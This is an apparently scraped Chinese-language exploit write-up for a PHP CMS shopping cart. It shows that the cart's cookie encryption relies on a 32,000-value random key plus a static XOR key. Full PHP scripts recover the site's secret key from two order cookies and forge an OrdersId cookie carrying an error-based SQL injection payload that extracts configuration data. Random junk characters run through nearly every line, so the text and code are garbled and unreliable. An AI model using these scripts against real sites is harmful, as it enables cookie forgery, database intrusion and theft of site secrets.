www.xxx.com/plus/search.php?keyword=
1 B" A' `9 {. m3 V在 include/shopcar.class.php中. w3 Y+ y" ?* J) t, J! z7 A) N5 t2 t
先看一下这个shopcar类是如何生成cookie的
9 J" B* T" ?% M( L4 ?239 function saveCookie($key,$value)& E8 [1 m4 x4 b# b+ M {2 W
240 {! K. P- t0 m& Z m3 i" i/ |
241 if(is_array($value))+ X, J/ }) o6 |; D
242 {
4 F& Y- O# P" o, Y$ N243 $value = $this->enCrypt($this->enCode($value));
' U& V' A X" m* C244 }
U0 a& L D1 w245 else
' A# Y( i# S( T ], `% U246 {
9 _9 S4 u9 a# F( m3 [! x247 $value = $this->enCrypt($value);% _- s9 a5 `7 [6 [- I T) w; N
248 }8 E* |6 j/ o3 @1 Y+ {
249 setcookie($key,$value,time()+36000,’/');* b( E: K A9 E" U' u8 b; A/ d
250 }
4 s% r& K0 c" ^- a简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
: |( N5 G3 B( M4 _; V186 function enCrypt($txt)
2 j& l) H( @& w# R6 k: j1 e3 x187 {7 F2 v- k. ]: Q2 L
188 srand((double)microtime() * 1000000); g8 g! t- s$ Z& N8 c9 N
189 $encrypt_key = md5(rand(0, 32000));7 K- E; V9 V0 |; o: |
190 $ctr = 0;
( K2 L# J- S% V( }191 $tmp = ”;$ H7 j1 I! Y8 Y9 c
192 for($i = 0; $i < strlen($txt); $i++)
7 \& x$ a. P# N! y0 n$ G/ a193 {. @" [0 N! @1 s
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;" F, x+ w! X- X) H i; l
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);/ q3 m, M @3 G8 m
196 }' f8 }! a2 \3 \# x
197 return base64_encode($this->setKey($tmp));* P3 r5 n1 ]9 Y% M/ D* Q0 e" f: s
198 }: E$ Q2 `' C7 { ?. }0 g
213 function setKey($txt)& F! B/ }8 B/ t2 _+ j6 D
214 {0 w2 q' z) R' N& @4 x$ y! P+ ^7 H
215 global $cfg_cookie_encode;
7 C% d: p$ k: y! y: u2 B216 $encrypt_key = md5(strtolower($cfg_cookie_encode));' k% F1 O: d: @1 g4 c
217 $ctr = 0;" A! D- A- n" w, E8 b7 t+ i0 ~! w
218 $tmp = ”;. C) I9 o4 A. t
219 for($i = 0; $i < strlen($txt); $i++), a8 \% d" G: c1 b
220 {
5 f* ~3 Q6 k* E8 _221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
/ d8 {7 Z6 W2 y222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];/ C& `2 T6 ^7 ?3 a" Z6 n' E
223 }& H+ h$ a9 U2 K" k8 T/ Y$ F
224 return $tmp;* `7 Q$ {* s" V7 F3 L
225 }, P, N7 l+ ~$ i. l- {2 ~) y: J
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的) O: H. O! u% `, C
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。5 P0 i3 u6 q; h/ Z$ F2 q
具体代码如下:7 e5 d) Y: O! d! }; e
<?php7 a5 f% x: O" ^7 M
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
3 t, a6 a9 o- E* y, i8 Y1 A$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
8 u7 y! P' X' W% y, i* F$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
2 `/ H/ [% i7 X% H5 P; A; Efunction reStrCode($code,$string)
2 F9 h$ l# p# _# D+ a3 Y( E* O$ q{
# B6 R6 c4 Z% V7 Y$ s$code = base64_decode($code);
6 M! }* o* H1 ]6 S+ b$key = “”;
4 I% ?4 [0 K) `( N) Dfor($i=0 ; $i<32 ; $i++)7 E6 r* y0 C Z6 N2 g9 ?# q
{' x7 }/ j9 g% N# n
$key .= $string[$i] ^ $code[$i];
+ Q" Q- N. I9 E5 A}
- o" T5 `( \6 `9 creturn $key;$ T) E: M% d# t6 Y. D0 Z& s# x
}: p( k$ N6 c7 \9 ]
function getKeys($cookie,$plantxt)* E/ v/ c/ @ }2 ?
{ H' N6 B: N4 b7 A) q& `" ~/ D* W
$tmp = $cookie;
9 x! ^1 {0 y+ L# }. m* e$results = array();
" Z3 b/ X/ V1 Z1 e, ] Mfor($j=0 ; $j < 32000; $j++)
% l4 k- S8 D% H, R# t5 {{
% j% G/ s' }$ \- \5 ? b5 G) ^2 \1 _% `; S% b2 k
$txt = $plantxt;
" U! U/ I8 V. \- N$ctr = 0;6 ~3 Q: E; r; J7 q; g
$tmp = ”;
1 I- m9 I% c0 B& \$encrypt_key = md5($j);' D- p0 r( m- ]! B% t) x
for($i =0; $i < strlen($txt); $i ++)
. O, i5 [* e' X% ~! g# q$ i" R. a{+ T. Q' \- T; t' m/ \' [
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
! G+ H2 `: _- f2 Z! p$ c% V( k$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);" S9 L+ ], R" n9 X9 L
}
6 t4 R" f7 R7 `7 \$string = $tmp;
" B* Y( U8 F: K! n$code = $cookie;: S h5 W$ ~8 R$ } h* M
$result = reStrCode($code,$string);4 n/ A4 U/ D( c8 p1 t2 [1 ~
if(eregi(‘^[a-z0-9]+$’,$result)); Y; j8 _* {7 U L
{
; ^$ w1 M* x9 U" decho $result.”\n”;
6 w0 a0 N! X3 w$ ^0 f, X$results[] = $result;. H% c9 o, N; T) v5 g
}, r0 g& t$ a) D
}
2 T8 Q z- Q# I! W/ creturn $results;
4 G4 J$ h% T$ q9 s. p}
8 ]" Y) V, R4 Y: D7 f' W1 P5 ~. x$results1 = getKeys($cookie1,$plantxt);+ e* |. o$ A2 h: y" V) F n
$results2 = getKeys($cookie2,$plantxt);
% p7 k5 P8 M* z) n) Tprint “\n——————–real key————————–\n”;
* ~: |2 w' y' c; E) Oforeach($results1 as $test1)
6 f0 v7 `; f& ^% y4 G }{3 Q: J% x) I2 E- g; o, ^
foreach($results2 as $test2)) D2 E+ d c) l- S+ ^
{
0 {9 f0 g. F& V! v; l3 x& fif($test1 == $test2)
! j( U- {* M" V' z- e. x( _7 S{8 m( R. ^6 l# c1 e$ V# Y) I8 J
echo $test1.”\n”;
# a$ j: ? a7 g/ ~$ u( T}
- D1 s, {# Y) g; ~}
5 W. d* E0 z! y# o, ]}
4 r5 t6 P: y) Y$ `" N, l: l?>; m$ X2 t. ~! z( C
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,/ C- {2 Y, [( j
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua11 y/ V: J: G9 W, ?; }
然后推算出md5(strtolower($cfg_cookie_encode))
: @% I. B- u+ }2 ?! N得到这个key之后,我们就可以构造任意购物车的cookie
( S0 R, F0 p5 A* j) O6 c% y; ~接着看
: d3 i% R% n3 ^' `& e% ^/ F20 class MemberShops+ c4 o' o% U2 |- L% ], m6 k
21 {
1 A, s/ {8 A+ { o$ p22 var $OrdersId;) K- a8 M# {3 l& [ B8 s f& P S$ I
23 var $productsId;
X3 p! r% r6 {& A+ ~: j+ r& p245 ]% j( W1 d+ s! P/ K
25 function __construct()9 ?% C2 Y/ `7 H3 T; a1 N P
26 {4 c0 c" _0 ~6 W
27 $this->OrdersId = $this->getCookie(“OrdersId”);, }3 u+ c5 l" J$ ]
28 if(empty($this->OrdersId))
" f/ V8 D* C6 W' B# g1 m* ]29 {
3 ^3 p. |' p$ u% H; t30 $this->OrdersId = $this->MakeOrders();' K0 d' E7 L j+ |! L* h
31 }
( M/ @$ _2 }$ R3 w. i: T! I32 }' ?( e7 z8 Q) w G( f- d+ g! g6 f
发现OrderId是从cookie里面获取的
3 v& P' g5 O0 Q+ a& M) J. O+ G6 k然后
; z# w8 L5 d: `' y0 Q7 S: ]/plus/carbuyaction.php中的
- z7 w& a3 p8 H29 $cart = new MemberShops();: [. Q8 F, E' h8 k' j
39 $OrdersId = $cart->OrdersId; //本次记录的订单号9 m; r9 t5 h5 U: d& r
……
9 M: V6 a$ f1 d; Z( T173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
6 ^* l3 ^% f6 Y6 A) D& e- F接着我们就可以注入了" h6 e; }7 D* M: w3 B
通过利用下面代码生成cookie:
3 E5 W/ D+ U7 {4 `- W- g0 p<?php
9 }7 [ B7 J+ |# x0 n* ^0 D$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
, G8 c6 l; ?3 S5 Y) a$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
7 S `" p8 s4 ^function setKey($txt)1 H, n6 B& \* P; }9 J; F. u/ L
{: Z, E3 R6 S3 f* w# I
global $encrypt_key;
1 }1 I! I/ ]& l$ctr = 0;
+ f9 f6 {5 Y* K$tmp = ”;
. p: P) \5 y0 Q. _4 z3 Z1 nfor($i = 0; $i < strlen($txt); $i++)& J2 B! r0 q7 G9 S* Q0 H- [3 g4 g
{' }( z: u$ d$ t2 m
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
; t- _) {8 H3 C1 m1 q5 b" a$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];) D8 H. M5 Z' X& n8 `& d
}
' r8 I2 x" t' K+ Mreturn $tmp;1 r* K5 ^# A6 j$ e6 y
}) s! U4 ]! ~0 t1 Y
function enCrypt($txt)
5 f" j3 q3 E" Y- |9 R{
7 @5 p$ K" i1 Lsrand((double)microtime() * 1000000);
1 ~5 S0 p8 y8 K1 N, u/ W e8 ?$encrypt_key = md5(rand(0, 32000));' ~4 y: f& r9 ?( `5 x* R! N" w
$ctr = 0;( A- I- i b: E! J" L8 _4 ]6 v
$tmp = ”;
9 Y9 {( C/ m5 Z o0 ?8 cfor($i = 0; $i < strlen($txt); $i++). X4 x* ?: T, G' z; D- z
{
. D7 |- j8 a% M v# X$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
J b. w$ I( A0 B$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 Y: a7 O% v4 H
}! k, R& t7 W# _1 e
return base64_encode(setKey($tmp));: ]1 c1 L, c7 g
}
' h; ~( y6 m t; J7 [# m" wfor($dest =0;$dest = enCrypt($txt);)
+ }% x) \( Q+ u/ K; D{
" ~: Y* p' Q2 y: Tif(!strpos($dest,’+'))
. V" a( l3 W( q/ o2 T{
) {) R8 G" s- P" o; zbreak;6 u6 I+ g) i, |' d. t7 I
}
! i! [& C. G4 U2 H! K}
2 L7 I( @4 a/ c' b. _4 mecho $dest.”\n”;& Q- ?4 ?* i0 Q+ ?
?>* {! U: h# l u) R- f
6 b1 M- M. ?, V# p8 _ |